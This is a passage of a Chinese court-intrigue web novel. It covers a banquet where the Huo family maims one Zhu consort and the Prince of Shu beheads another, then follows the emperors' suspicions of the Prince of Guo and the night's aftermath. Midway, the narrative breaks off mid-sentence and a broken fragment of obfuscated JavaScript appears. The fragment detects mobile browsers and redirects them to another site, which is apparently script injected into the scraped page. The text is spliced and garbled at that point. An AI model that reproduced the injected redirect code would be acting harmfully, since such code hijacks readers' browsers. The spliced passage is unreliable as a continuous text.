可惜庄太妃不懂,她溢出丝兴味,看着霍家怎么搬起石头砸自己的脚。 班丞相是看着虢王叹息,不必出头时偏闹着出头,该出面时又没反应了。虢王府和朱家撇得干净,霍家占着理,圣人都默许了,你不管朱氏女被打又如何;可朱氏是虢王世子妃,她犯浑,你还不补救,指望两位至尊还能不迁怒虢王府吗?唉。 霍擎沉吟会儿,似权衡好了:“霍雄鹰,来给你大哥搭把手。” 嗯?众多看官没懂老穆国公这又是什么意思,亦还没多想,就看见霍海啸将人压制住,霍雄鹰拉长虢王世子妃的右臂,好多人看懵了,霍家这是要砍掉朱氏的右臂? 大家伙看向太上皇,太上皇端起酒盏饮酒,他们再转向看霍家,想着刚才的对峙都还没有结束呢,何况圣人都在这么淡定地饮酒,这是霍家还想加码? 真不嫌会作茧自缚,虢王、晋王、庄太妃在内的好多人冷嗤。 虢王世子妃朱氏同样嗤之以鼻甚至挑衅,神情明明白白表述着:有本事你砍啊! 于是乎,在众多不以为然中,霍擎扬起长刀一刀挥下,景福殿犹如被静止,虢王世子妃朱氏在她还没来得及褪去的轻蔑和最后浮现出惊悚的定格中昏死过去。 没当回事的人们懵了。 太上皇放下酒盏,霍雄鹰把朱氏的残臂扔她身旁,瞧着这群人,心里直翻白眼,霍家没砍时嘲讽霍家不敢砍一个劲鄙视霍家,霍家砍了又吓傻了,脑子有病。 升平大长公主握住相公的手臂,霍老夫人都猛地攥紧儿媳妇的手,庄太妃愣下倏然瞪向霍宝鸾,霍太后云淡风轻。皇帝嬴忱璧饮杯酒,好像他只是在看歌舞。 魏王同样平静着,魏王妃看相公都不慌吗?试着握丈夫的手臂,还好握住了。 许多人盯着那条残臂发慌,怎么会,怎么会霍家真的砍了?! 萧灼灼感觉心都跳到嗓子眼了,霍家不是愿意谈吗? 忠毅伯心狂跳,刚握起的酒杯都又掉了。 侯瞻渥反而不敢闹他爹娘了,霍家是不是疯了? 真没几人相信老穆国公当真会砍掉朱氏女的右臂,班丞相和显国公他们都是一个激灵,投在昌隆侯麾下的几位大人心直往下坠,虢王脊背发凉只觉得在天旋地转中。 乐邑稳稳心神看向霍舒窈,霍舒窈很镇定,霍姓就没几个怕的。 房副相感喟,当朝第一豪族,就是要有这样的魄力才能压得住啊。 晏霁之奇怪老穆国公何故留朱氏一命?按眼下的情况,太上皇必定是把这两条命给了,环视间撞见他爹的视线,晏墉示意看虢王,晏霁之讶异:“您不意外?” 英王懒得理会,不看看晏家当年站在什么位置,他和晏副相当然都没甚意外。 不待众人多想或者虢王府喊圣人,霍擎转向小朱太妃。 小朱太妃一个哆嗦瞬间回魂,本能地想要跑,那嫡姐整条右臂都被砍了,霍家是真不怕跟她爹结死仇啊,她要逃,她必须要逃,可要命的她这双腿像是被灌了铅水一样,她越慌,这腿就越不听使唤怎么也抬不起来,怎么办,她怎么办…… “毕竟是圣人的嫔妃,臣下是得有点避讳,蜀王殿下,有劳你了。” 霍擎把刀给他,蜀王持刀上前,在众目睽睽在许多人存不相信的侥幸以及更多纯看客的紧张和小朱太妃的慌乱惊悚中一刀挥下,干净利落,小朱太妃人头落地。 刹那间犹如天地俱静。 有汗液淌落,原来胆小者额头已沁满冷汗。 许多人怔怔地像被卡住般反应不过来,萧灼灼回过神来就看见他的姐姐、同母姐姐已经人头落地了,她一颗心疯狂往下坠。 多少人仍觉得霍家和蜀王是在做戏,蜀王被请动愿意给霍家搭把手也犯不着去和朱家结死仇啊,怎么会又这么砍了…… 鲜红的血液肆意横流扩散,映在五彩斑斓的光辉里比熊熊烈火燃起还灼人眼。 忠毅伯险些瘫软,一脑门子的眼冒金星头痛欲裂。 薄尚书和周尚书等几位大人瞧瞧他,心道,霍家这个威立竿见影啊。 工部尚书翊善伯怪了,好端端的,霍家作甚要立威给忠毅伯府看?难不成,太上皇想让霍家出面收拾忠毅伯府而陛下也默认了,这是想提前压制住他省得他闹事? 鞠太妃打个寒颤狂拽庄太妃,庄太妃狠狠按住她,看向太上皇,就见圣人仍无动于衷,为何呀,为何圣人要这么放纵霍家连朱家对上霍家都是向着霍家?! 朱太妃面色惨白地跌退步,地毯上,她这堂妹的眼睛还睁大大的还能清晰看见她眼中无以复加的惊惧却是已经冷冰冰的人头落地了,她不由自主地看向太上皇,圣人,圣人怎么会这样纵容霍家和蜀王啊,难道在圣人心中,朱家还不如霍家吗? “就是你说的,蜀王必会壮烈牺牲在北疆,我朱家不做,谁做?” 朱太妃立时定住犹如浑身血液被冻僵,一道银光闪过,她还没有意识到痛,就看见一个物件从眼前落下,她低头看去,才知道是她一只耳朵被削掉了,火辣辣的痛传过来,鲜浓的血淌下来,朱太妃死死咬着嘴巴任眼泪哗哗流不敢发出丁点声响。 众人眼睁睁看着,谁都没多言,谁还看不出来,蜀王是个狠角色。 庄太妃受冲击过于剧烈,都没注意蜀王削朱太妃耳朵前的问话对她意味着什么。 御前总管蒋厚运请示陛下是否要清理?嬴忱璧扫过眼,吩咐,宴会散后吧。 虢王缓缓转头向太上皇复又低下头,章醇郡主看得都有点冒寒气。 做大侄儿的恒山王也看过他的太上皇叔叔后低低头,霍二奶奶桓炜若瞧得心慌,霍海啸媳妇房氏握住弟妹,霍二奶奶看向长嫂,苦笑,恒山王的女儿嫁给了昌隆侯的嫡幼子,圣人今夜是把表弟、堂弟和大侄儿的脸面全都拂掉了,因为霍家! 可昌隆侯能忍得下吗?不可能的,恒山王必向着昌隆侯,桓家又当如何自处。 显国公看向那姐夫时武襄侯的视线恰好看过来,连襟俩对视过后各自收回视线,武襄侯是肃宗皇帝桓皇后的表侄儿,挺护着恒山王的,桓家若难做,侯家也未必好做。 他们可能会联合众宗亲发难?桓炜彤陡然心惊,晏煦之握住媳妇的手让她莫慌。 发难?不少人注视到虢王的神情都在脑中冒出这个词,可? 可虢王府不是向来和朱家撇得干净吗? 班丞相猛然意识到,倘若虢王真想联合宗亲们发难也必须等到昌隆侯回京由朱家牵头,老穆国公就是故意砍掉虢王世子妃朱氏一臂又留下她一命,就是要用朱氏女来压得昌隆侯和虢王府想发难都闹不起来?!班丞相这刻真不得不感佩老穆国公高明啊。 霍擎祭出北境大军时还有不少人觉得他被虢王世子妃反将一军,真是笑话呀,班丞相隐蔽观察太上皇,心底感喟,怨不得霍家稳啊,瞧这事办得多让圣人舒服。 同样刚想明白的晏霁之瞥瞥父亲,心道没有晏明潜霍霍他,晏墉智商飙涨啊。 皇帝嬴忱璧也是后知后觉,感慨老穆国公滴水不漏,他要学的还很多。 晋王丧得什么脾气都发不起来了,原来,他父皇看重霍家更甚朱家。 湘王在外祖父挥刀时害怕的,看着看着也就不怕了,把拐杖交还给外祖父。 大殿内死一般沉寂,还是霍擎打破死寂:“近日,朝中有传言,圣人想念护国公了想调护国公回京,错了,圣人是想念西北的将领了要调安西众将回京。” 霍擎转向原牧炽,温和道:“原小将军难得回京,在京中多住两日,月底再走吧。你回北境后告诉护国公,好好抗击外敌保家卫国,不要轻信谣言搅乱心神。” 原牧炽向他抱个拳当做回应了。 多数人还好,圣人是要调护国公回京还是调安西众将回京跟他们又没关系。也没什么人怀疑霍擎在胡诌毕竟老穆国公的可信度太高了,可这对已兴致勃勃想好要在北境施展的相关者们真可谓当头棒喝晴天霹雳,庄太妃懵了,晋王咬紧牙关。 效忠昌隆侯的几位焦灼地觑虢王,虢王冷热交织地看眼太上皇,又再低头。 可就是这么一眼,太上皇忽然对这堂弟滋生出许多怀疑来,霍擎指摘虢王府和朱家关系很好时他没在意,偏偏虢王在小朱太妃死后的反应越来越让他觉得不大正常。 太上皇和皇帝对视眼,皇帝嬴忱璧道:“穆国公,和兵部议一议,月底前把派往安西的名单拟出来,朕和圣人要在端午前把这批将领悉数定下来。” 皇帝此言算是把认为霍擎在胡言的那几位的最后那点侥幸给掐灭了。 虢王手背经脉暴起,庄太妃几欲飚泪,圣人怎么了呀这样向着霍家? 鞠太妃被她这模样吓了吓后忒无语,这把岁数还想在圣人面前扮可怜,也不嫌让圣人恶心。 反正吧,对庄太妃比自己厉害的信念碎掉后,鞠太妃看她是愈发不过如此了。 穆国公霍秦川和任兵部尚书的武襄侯一同站起来领旨。 “四皇兄!”嬴忱璧神情很正经,唯独凤眼中有丝意味深长外泄:“五年前,护国公府蒙冤时唯皇兄你慧眼独具坚信护国公府原家清白,不惜拿命担保护国公府的忠诚才有后来原家的沉冤得雪,皇兄眼光甚好,也拟份派往安西的名单上来吧。” 夜已过亥时中,许多人平常这时辰已经睡下,这会儿,刚有人犯困又打个激灵。 皇帝陛下这是什么意思? 魏王打量遍嬴忱璧,站起来喊父皇,太上皇心绪翻涌,面上笑容慈祥:“是啊,俊儿,你也拟份名单上来吧,两份名单对照着看也利于取长补短选出最合适的将领。” 这不是圣人和陛下心血来潮吧?莫非是圣人有意重用魏王,陛下不得不给搭个梯子?好多人面面相觑,庄太妃不可思议地看向圣人,眼底的泪花晶莹闪烁。 晏霁之冷不防撞见这么一幕,扭过头洗洗眼睛。 霍雄鹰都嫌作呕地扶着祖父回去坐,庄太妃能不能记记她什么岁数了。 皇帝和他父皇母后倒是淡定,鞠太妃看向霍氏,没想到她居然没嘲笑庄太妃。 大殿内些许微妙,薛述聪摇头,庄太妃这下是彻底把自己的段位拉低了。 晋王妃预感到不妙扯晋王,晋王出奇的平和,他有种他以为他锻造起来的强大好像在一夜间就要崩塌的感觉,或者他根本不强大只是他自以为而已。 魏王领旨,崇孝长公主舒畅不少,虢王的脸色都好些了。 太上皇喝杯酒压压心绪,霍绥业扯扯刚回来的老哥,霍擎给他们指指虢王。 皇帝在诈虢王?! 霍秦川在心里叫乖乖,皇帝够会耍人了。霍绥业啧啧,皇帝用魏王来诈虢王又点出五年前原家蒙冤也就是皇帝陛下怀疑五年前定襄之围是虢王隐在幕后想趁机拿下北境,可虢王和昌隆侯是姻亲啊,比起虢王,当然昌隆侯才更像做主的那个。 霍绥业笑,这到底是皇帝想诈虢王还是太上皇想诈诈他,就小朱太妃死后虢王那德行,多少人都觉得他想要联合宗亲逼迫太上皇对霍家发难,太上皇还能没感觉吗? 太上皇有意重用魏王,虢王的脸色就好些了,什么意思? 虢王这道行也真是让人替他着急了,皇帝一诈就把他全都给诈通了。 晏家也琢磨出来了,太上皇想重用魏王反而皇帝来搭桥真不对劲,晏副相瞥过恒山王,英王晏墉被惊到般握住儿子的手臂,晏霁之瞟瞟,真想把这爹的爪子推开。 嬴忱璧又道:“父皇,礼部尚书空着有几日了,忠毅伯升任礼部尚书吧。” 忠毅伯被憋住,他是想做吏部尚书可不是礼部尚书,礼部尚书对他差不多就是个鸡肋,可还没等他委婉地推辞掉,太上皇就同意了,忠毅伯郁闷地站起来谢恩。 然而忠毅伯眼中的鸡肋,蒙侍郎还挺想争一争的,结果还没争呢,人选就落定了,这人还更让他纠结,这位可比之前的佟尚书爱整事多了,总觉得礼部今后没消停了。 皇帝还毫不含糊地把承诺兑现了,晏霁之升任吏部左侍郎,看得真是许许多多人眼红,忠毅伯更不是滋味,都想怀疑皇帝是不是在对他明升暗降。 “既然霁之调往吏部了,他之前工部郎中的位置空了出来。”嬴忱璧还似乎毫不在意被众人察觉他的用意更不厚此薄彼地点晋王:“七弟,你看谁来补这个缺好?” 懂得都懂,皇帝啥意思,晋王又不瞎岂能看不懂,只不过他也觉得此人再合适不过了:“皇兄,齐州通判冯惊珏才华横溢年轻有为,不如就把他调进京来吧。” 皇帝笑意灿烂:“好,吏部派调令吧。” 好事者们瞧向英王世子,晏霁之再瞟瞟皇帝,真觉得皇帝小心眼。 太上皇紧接着吩咐:“散了吧。” 庄太妃忍住,和众人一起告退,北境,昌隆侯还能让煮熟的鸭子飞了?她不急。 虢王又抬眼皮看眼太上皇,按住妻儿在最后走。皇帝和太上皇看在眼里,没走远的人们都看在眼中,霍雄鹰和薛述嘉这些年轻的都想嫌他不长脑了,圣人允了,霍家也砍都砍了,你还想要去膈应膈应,你是嫌太上皇给虢王府的恩宠多吗? 章醇郡主找婆母说想回娘家住两天,护国公夫人很好说话,还宽慰长媳莫忧心。 萧灼灼跟着伯母走时又忍不住去看他姐姐的头颅,多看一眼都是心慌乱。 内侍们把小朱太妃的尸体运走,再将殿内血污清理洁净后尽数退下。 臣下们散尽,仿佛把宴饮时的人烟气息也带走了,殿内唯余皇帝和太上皇,空荡荡的,缤纷闪烁里的皇家锦绣殿阁在漆黑的夜里竟也生出几丝荒凉来。 皇帝嬴忱璧劝:“父皇,夜深了,今夜就留下吧。” “不了,皇帝想检阅南北前线的战力就传令下去吧。”太上皇神色瞧不出情绪,嬴忱璧可清楚他爹怒着呢,刚刚估计剁了虢王的心都有。 虢王临走都还要显摆他和朱家交好啊! 非要挨到最后走让太上皇看个够朱氏的血泊和残臂,虢王这是多大怨啊? 且不论太上皇对虢王府多年恩宠,一有处置,虢王就变成副受不得的嘴脸有多难看,你虢王府和朱家这姻亲做的不是堪比陌生人吗,轮得到你来给朱氏女出头吗? 所以,虢王府和朱家疏远就是装得,虢王府和朱家私交甚好,是吧?! 太上皇可不得火冒三丈么! 他才怒叱过皇帝污蔑昌隆侯,今夜就被打脸都不提了,他亲手养出来两个反贼啊! 倘若虢王府和朱家这姻亲做的确实堪比陌生人,虢王不清楚朱家今夜做的事,朱家还能是冲着霍家,是意在拿下京畿大营乃至想登顶当朝第一豪族,可虢王清楚啊! 虢王甚至还生怕他看不见,一再显摆虢王府和朱家交情匪浅! 人前装得堪比陌生人,暗中交好,虢王和昌隆侯什么意思呀?他若是再不生防范之心,他就是嫌活腻了!既然要防范,对于皇帝的密报必须是宁可错信都绝不放过,那么,昌隆侯想侵吞北境想拿下霍家想将京畿大营收入囊中,心思还不够明了吗? 所以,朱家今夜是冲着皇帝和他这个太上皇来的。 他们想造反!太上皇怒得,顾不得深夜都要今日事今日毕。 “授康二十八年,定襄之围,皇儿猜得会否早了些?”太上皇尽量冷静。 “孩儿在想昌隆侯何以会找上虢王?”嬴忱璧懂,太上皇不想把长兄的遗孤扯进去,若他们是正徽年间生出的心思,还能拿晋王来遮掩。可若是授康二十八年时,恒山王少不了,肃宗皇帝的嫡长孙,愍文太子的嫡长子,昌隆侯需要这面大旗。 “朕怀疑是皇祖父还在时虢王府就有心思了,五十多年都没把这份心思放掉。” “你皇祖父还在时?”太上皇错愕:“不能吧,虢王府能这么窝囊?” 嬴忱璧莫名噎下,轻咳声,剖析道:“父皇试想,授康十八年以前,虢王府在宗亲中并不起眼,您有的是亲兄弟,昌隆侯若是想攀附怎会相中虢王府? 故而,朕猜是虢王府早有反心,昌隆侯窥测出了虢王的反心想拿来做箭靶,可现在这个虢王只是父皇您的堂弟呀,是以朕倾向于是先虢王留下来的心思。” 这思路没问题,正是没问题,太上皇才都忍不住被噎下,憋五十多年还父子相承地憋,虢王府怎么不窝囊死算了!太上皇略过问:“皇帝想把恒山王算进去?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459321|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“孩儿明白父皇您顾念长兄,于心不忍。”嬴忱璧走到太上皇身侧,蹲下,以一个孩儿对父亲的孺慕仰赖之情握住父亲的手臂,面含苦涩悲戚:“可爹爹想过没有,若非授康十九年的变故,您都未必会给朱家那份泼天荣宠,能有他们的出头之日吗?” 太上皇瞳孔一缩,犹如被一箭穿心,他反手就抓住皇帝的手腕。 嬴忱璧低低头:“让死士今夜走趟虢王府看看虢王爷吧。” 沉默下,太上皇应好,他闭闭眼睛,把令他慌乱的思绪压到心底深处,过会儿又应声好,撑着桌案想站起来险些撑不起来,嬴忱璧连忙去扶,太上皇搭着皇儿的手臂站起来,神情已经恢复平和了,他拍拍皇帝儿子的手,温和道:“不用送父皇了。” 嬴忱璧颔首,送父亲到殿外,目送父皇远去,他抬头,看见满天星辉已黯淡。 景福殿的变故传开,翁嫔心肝颤十颤,忙从摇篮床里把小皇子抱起来,抱着她的小皇子拼命让自己高兴,她必须要高兴,她不能让霍贵妃对她和小皇子有芥蒂。 杭修媛正相反,兴奋地赶去椒房殿,不想郭皇后歇下了,只好明晚再来。 鞠太妃一迈进宁寿宫的大门就被阮太妃拽着走,蜀王撒的密报,没被太上皇收走的漏网之鱼已经传过来,可算是让她们这群浑浑噩噩的太妃长见识了! 整座宁寿宫和慈寿宫都掀起惊涛骇浪,今夜就要让姬太妃过来对质。 除了要被瞒住的两位,都在了,她们不是人人都有过孕,但谁都不想做傻子。 鞠太妃走到宁寿宫最偏僻的屋子,事情搞明白,怒得眼睛都要喷火了,姬太妃一到,她抓起那份密报就问:“蜀王这消息真的假的,是他编造的还是他真收到消息了?” 小屋暗沉偏让人觉得甚亮,是四十多位太妃的心火在滚滚灼烧。 “鞠太妃不该心中有数吗?”姬太妃与她们四十多位相对而站,气势反而更有压倒向:“朱家女不能生,她们能愿意看着别的嫔妃生吗?庄太妃与你交好,相当于把郢国公府收入她的囊中了,她能让你有皇子让鞠家有自己的皇子外孙吗?” “啪!!”鞠太妃一掌拍在破损的桌上,毛发倒竖浑身的腾腾杀气几欲冲破这间小破屋:“你最好别让我发现你是在挑拨离间故意蛊惑我!” “谁还拦着不让你们查了吗?”姬太妃笑声,转身欲走时,田太妃喊住她:“姬姐姐,圣人怎么会任由霍家打杀小朱太妃姐妹,你知道吧?” “以田太妃看,昌隆侯的心已经多大了?” 语毕,姬太妃即走。 田太妃怔下喃喃:“想拿下北境,还想染指京畿大营,莫非?” 曹太妃猛地拉住她,劝道:“鞠姐姐、田姐姐,夜深了,明日再议吧?” 众人看向鞠太妃,至少现在表面是以鞠太妃为尊,鞠太妃憋着怒火嗯了声。 宫外 霍擎率家眷回到自家,把霍漓江叫到他屋里,纠正件事:“爹猜错了,朱存焳的反心没有蜀王和国师推波助澜,是爹小看姬沛了,姬沛会杀不了朱存焳吗? 姬沛不是不杀,是他在彭山时就看出朱存焳有反骨,蜀王在一日,朱存焳就不能安心、更不会把自己的性命交托于表兄,所以,姬沛留下了朱存焳。” 霍漓江无所谓:“您还有事吗?” “你想过昌隆侯身边的姬氏族人到底向着谁吗?”霍擎笑了:“屠族的仇啊,他们只是和姬沛有冲突只是想拿到家族祖传的宝物吧,他们是想引外人来屠族吗?近乎阖族尽灭,这个仇难道不是他们的?蜀王和国师当真杀不了这些叛徒还是另有玄机?” “就算有玄机,至于耗二十多年吗?”霍漓江对于这个都能磨死他的忍耐劲儿就想飙脏话:“二十四年啊,耗着二十四年死活不报仇,他们居然还没忘记要报仇,我都觉得太阳要打西边出来了!只为让圣人亲眼看看他养出个反贼来,至于吗?” “见到他们时你亲自问问吧,爹有预感,不只是蜀王,他们都想见见灵渠。” 萧灼灼是住在晏家的,一到英王府,她跑回屋拿了银票就奔向蔚然居。 奴婢们退下,萧灼灼再难按捺,整个儿急得像热锅上的蚂蚁:“怎么办怎么办,我怎么跟他说呀,难道我跟他说,我还没反应过来,蜀王就把你姐姐的头给砍了吗?” 对于这个瘟神,晏霁之看在银两的份儿上,忍了:“付账。” 萧灼灼愤愤把银票拍在桌上,她被这倒霉的欠债都猜到了,这是请他出主意的花销,一个世家公子怎么就能斤斤计较到这种份上呢,掉钱眼里算了。 晏霁之表示:“不够。” “这是一千两!”萧灼灼抓狂:“你还吐字成金啊,一千两买个商量都不够?” “子时了,还得弥补我的睡眠损失。”晏霁之很公道的标价,萧灼灼:“……”忍住拍死他的冲动,萧灼灼再拍一千两银票在桌上:“够了吧?” “霍舒窈可是你的堂嫂。”晏霁之有道德的拿钱办事,萧灼灼没转过弯:“这还用你说,我是来请你帮我想办法的不是来跟你唠嗑的,你快帮我想想办法呀。” “朱家和霍家都闹成这样了,你还想做朱家妇,你还能面对霍舒窈这位堂嫂吗?甚至,你还能面对堂兄乃至是你大伯一家吗?你想过你爹娘该怎么做人吗?” 萧灼灼愣住。 “想好了就请便吧。”晏霁之逐客,萧灼灼不是什么都不管不顾非要做朱家妇,只是:“可朱家出这么大的事,我怎么跟他断呀?我们都说好了,我明年会嫁给他,我若是突然反悔还是在朱家遇到危难时反悔,我还怎么在他面前做人呀?” “难道他都不替你着想吗?”晏霁之理所当然反问。 “他当然替我着想,只是,只是——”只是萧灼灼下意识知道他会责怪她。 “只是仍然会奚落你讥讽你,必要压得你在他面前抬不起头。”晏霁之好笑:“萧灼灼,你既然都清楚他必定会因他姐姐的死迁怒你,你还看不清他的面目吗?” “可是,可是,可是我都没拦呀。”萧灼灼苦笑:“这我没法跟他解释。” “你以什么立场拦?”晏霁之问。 “我——”萧灼灼语塞,她是没立场拦,可她更清楚,她不拦,她没法面对他。 “像今夜这种情况,你应该挺身而出否则便是你对不住他,这样的想法,应该是他灌输给你而不是你本身能有的吧?都这么引导你了,他还能是替你着想吗?” 晏霁之循循善诱:“萧灼灼,你当前的名声差但好歹还算性情中人,若你们的秘密捅破,你还能有名声可言吗?魏王府任逍的名声都能比你强了。 你今夜若是站出来为他姐姐挡在霍家面前,你的家人,甚至你萧家族中的姐妹们,谁还能做人?你妹妹比你小五岁,要议亲了,你今夜若是站了出来,会不会害得你亲妹妹落个受尽白眼嫌弃,这些是他想不到吗,还是他实则不在意你的好坏?” “可是、可是——”萧灼灼挣扎得几近要哭,她不是没有感觉,可这是她的情窦初开啊让她怎么相信真相那么不堪:“可我若是那么跟他说,我不成只顾自己了吗?” “他若因此奚落你,他不是只顾自己吗?”晏霁之看这萧灼灼是有多蠢啊。 “可他姐姐毕竟死了呀。”这一点,萧灼灼绕不过去。 “朱家做了什么事?”晏霁之倏然怒起:“这种事做出来还能轻拿轻放吗?” “可是又不是不让霍家计较,霍家想从朱家拿什么好处不行,何必非得闹出人命,何况霍家都拦住了,霍贵妃又没出事——”萧灼灼抱怨着被晏霁之打断:“滚!” “我跟你说认真的——” “在我想把你扔给个乞丐之前,滚!”晏霁之俊脸冰封,眼底杀气浮显:“你既觉得朱家今夜做的事可以谅解,你若惹怒我,我当然该以此来对你略施薄惩,你认为这不算什么呀。霍家防住了,霍贵妃没事,你今夜若是惹怒我可没人能救你。” 萧灼灼定定心神让自己稳住,晏霁之吐第三个滚字,萧灼灼灰溜溜地跑了。 晏霁之喊婢女进花厅来,吩咐:“把这两张银票拿去花园烧掉,我会让晏诺陪你去,你把银票烧掉后洗净再回,这两张银票的一丝灰烬都不要带进蔚然居。” 丫鬟领命退下。 窗外的星月已没了踪迹,只是晏霁之仍倚窗念过嫌他挑剔的人儿才离去。 梅斗才知他是被当做幌子来的,孟怋乂私下献了这么一个大计? 他一时有些不知所措,连夜赶到虢王府、见到虢王,还未多言,一名染血的甲卫闯入,他顾不得眼生不眼生,忙按住问:“何事?” “没了,全没了,侯爷在禁军中的人全都被拔起了。”说完,暗钉咽下最后口气,气绝而亡,梅斗先生眼神微变,下刻又有暗钉来报,他们在神策军中的人全部覆灭。 虢王惊怒地撑着桌案从椅中霍然立起:“一百多,一百三十多人啊,全没了?” 梅斗再看眼死去的眼线,肯定道:“他不是逃出来的,是皇帝放他过来的。” “先生,一百三十多人啊,怎么可能一夜之间被连根拔起?”虢王不能接受。 禁军中八十多人,神策军中五十多人,都是好不容易安排进去的。 “那就不是一夜之间,皇帝和霍家早就有数了。”梅斗猜测:“皇帝刚登基时就放出八千名宫人把大批眼线都送出宫了,皇帝连宫人中都忍不了有多少眼线,何况是禁军中,皇帝这几年应该是把侯爷的人都摸清楚了,只是一直没动作而已。” 虢王恨得一拳头砸在书案上,丝毫不觉得他的着眼小:“早知道,早知道圣人挑他时就该拦住,眼下若是简郡王,一个十来岁的孩童还能有这些麻烦吗?” 梅斗连揪个错处的心思都没有,班家若是吃素的还能出位丞相吗? “太上皇当真改主意了,不动护国公,改让安西众将回京?” “嗯!”虢王气息虽还重的很,提及此事总算没那么火大了:“还好,圣人总算想起可以让魏王和皇帝相互辖制。”虢王讥诮,不管怎么换不还是他的人么。 梅斗皱眉:“太上皇怎么会突然改主意?” 屋内,琉璃灯罩映射着绚烂;屋外,剑气寒光隐没入黑暗。 130. 第130章 旭日出,朝晖似柄利剑欲要削除皇宫的臃肿繁杂,还以焕然一新的轻盈。 清晨的宫廷井然有序,开始宫廷礼仪集训的百名秀女也没闹出错乱。 和往常没什么不同。 可庄太妃总觉得像要出事,不到半个时辰连问三遍宫中可有事端,确定当前风平浪静,她仍然心情烦躁,总有股不安在心头萦绕:“都交代下去了吧?” 是两则流言,都是针对霍家的,一则指摘霍贵妃毫无廉耻必会红杏出墙,一则指摘霍家专横跋扈横行无忌强压在太上皇和皇帝头上必将造反。 阚嬷嬷欲言又止,终究还是只应是。阚嬷嬷自然是忠心的,在太妃传令之初就阻拦过,霍家昨夜的震慑太狠不宜硬碰,奈何主子执意,她更看得明白主子的不安,还是不多劝了,多安排几重遮掩尤其是有椒房殿这枚靶子在,量霍家也查不过来。 她们主仆设想的好,可设想再好,执行不足又有什么用,庄太妃排布下的这大片眼线,曾经的唯命是从,今早接到命令后不是暂且观望就是转头就去长春宫把她卖了。 景福殿昨夜的血淋淋还在他们眼前呢,传这两则流言就是要逼他们去死。 何况庄太妃自个儿的前景在暗桩们看来都还没定呢。 狐假虎威,狐何以能假虎威?当然是在百兽看来老虎在罩着狐狸呀,庄太妃以往的盛势当然与宫人们笃定太上皇对她情份深厚大有关系,可昨夜,庄太妃的底都被扒干净了,太上皇既早已对你不满还可能会重用魏王,还能有你的活路吗? 就算,就算暗桩们忠心也犯不着傻傻冒出头去白白送死啊。 小朱太妃昨夜都没了,你自觉你有箭靶有什么用,霍家若认定就是你在散播流言,你拿什么担保你会没事?你有晋王又能如何,魏王虎视眈眈盯着你和晋王呢,你又还有何不同,深宫中死个太妃就是颗石子丢进海里,一丝水花都飘不起来。 你自己都未必还能自保,何况他们这些眼线。 暗桩们仍愿意效忠你也不能图糊里糊涂地去死吧?! 当然,有忠心的,也不会少看庄太妃大势已去不愿再追随以及叛变的暗桩。 霍灵渠陪姑母用顿早膳的工夫,长春宫就收到好几起报信,霍太后讥讽:“若不是庄氏一味自以为是丝毫不掂量昨夜对她的损伤也没得这么多眼线倒戈。” “对哦,这两则流言还曝露着她黔驴技穷,否则以宫人们对庄太妃本事的信赖,何至于没再观望就不再相信她还有前景?” 是因为庄太妃的本事都见底了,昨夜景福殿多惨烈啊,得多盲目才能在这样的惨烈面前还横冲直撞?如此愚顽还叫人如何相信? 霍灵渠上午有客,她请滕王来叙叙旧,还请了她小叔叔来作陪。 她小叔和滕王来到长春宫,霍灵渠寒暄:“王爷,好多年没见了。” “贵妃不必这么客气,您有事尽可直言,只是我闲人一个,恐怕帮不了贵妃您什么。”滕王能相信霍贵妃真是请他来叙旧吗?肯定有事嘛。 “好,那我就不和王爷客气了。”霍灵渠是要给她六哥哥派往蒲州的那批人找掩护,她筛选遍挑中滕王,滕王不引人瞩目应该不会让虢王府怀疑到他。 “您看昨夜虢王夫妇多想给儿媳妇出头呀,我可真不相信虢王府和朱家当真撇得干净,这就怨不得我迁怒了,不知王爷能否给虢王府在蒲州的庄子送批盗匪过去?” 滕王挑眉,这事太合他胃口了吧:“能能能,贵妃放心,凭咱俩打小的童年之谊,纵使我现在就是个闲人,办这点事还是没问题的,贵妃放心吧。” 这么容易呀?霍灵渠有点惊喜,推推放在案几上的木匣,她自小,祖父就教她,该给的银两绝不能少:“二万两,请王爷喝杯茶,王爷不要和我推辞了。” 滕王爽快收下,有些银两是不能不收的,就像这笔,他不要反而让霍贵妃多心。 宫女在殿外禀告:“贵妃,新都大长公主来了,想跟您说说话。” 新都大长公主,太上皇最小的妹妹? 霍灵渠愣下应:“哦好,你们请大长公主稍后,我随后就来。” 滕王站起来告辞,他走出大殿,霍灵渠叮嘱小叔叔:“小叔,你帮我看着点,滕王若是不慎留下痕迹,你帮他清理干净,千万别让虢王府查到什么蛛丝马迹。” 刚才一直做木桩的霍枫叶满含笑意温柔:“灵儿放心吧。” “嗯!”霍灵渠美眸弯弯,喜悦溢于言表,送走小叔叔,她去花园见客。 其实她们都认识,新都大长公主才三十七岁,太上皇把这幼妹当女儿养大的。 晨间明媚,花园里繁花争艳,新都大长公主自姹紫嫣红中转身,阳光似乎将她照得格外温暖:“十六七年了,从不觉得岁月飞逝,看见灵渠才惊觉岁月匆匆,往昔我们最后一面,我刚做母亲,你才八岁,而今你二十五岁了,真的好多年过去了。” “大长公主?”霍灵渠似能感受到她的哀伤,新都大长公主自小和大侄儿的关系就好,孙家又是悼太子的岳家,姑侄俩的关系就更非同一般了。悼太子因何薨逝呀,这相当于是把新都大长公主她和太上皇的兄妹情割裂了,对她是双倍的重创。 “我刚见过皇兄。”新都大长公主犹若自言自语:“悼太子薨逝后孙家甚少在人前走动,我上回见皇兄还是正徽元年,这回见,我很惊讶,皇兄已经有华发了。” 霍灵渠垂眸未语,新都大长公主也只沉浸在自己的思绪里絮叨:“昨夜圣人恩赐孙家,我是来谢恩的。”她忽生感慨:“世事无常,我们十个姐妹,五个都不在了。 剩下五个,四姐常年居蜀地不愿再回京,五姐被贬做庶人,算算,皇兄身边算上我也只有三个姐妹了。我以前觉得大姐是我们姐妹中性情最好的,直到侯瞻渥出生,她老来得子,甚是溺爱,我有时候看着都难以置信原来大姐是如此偏颇之人。 还不如七姐呢,七姐虽然脾性不大好,但她至少对儿女们一样疼爱,没有偏颇。” 新都大长公主口中的七姐便是平原大长公主。 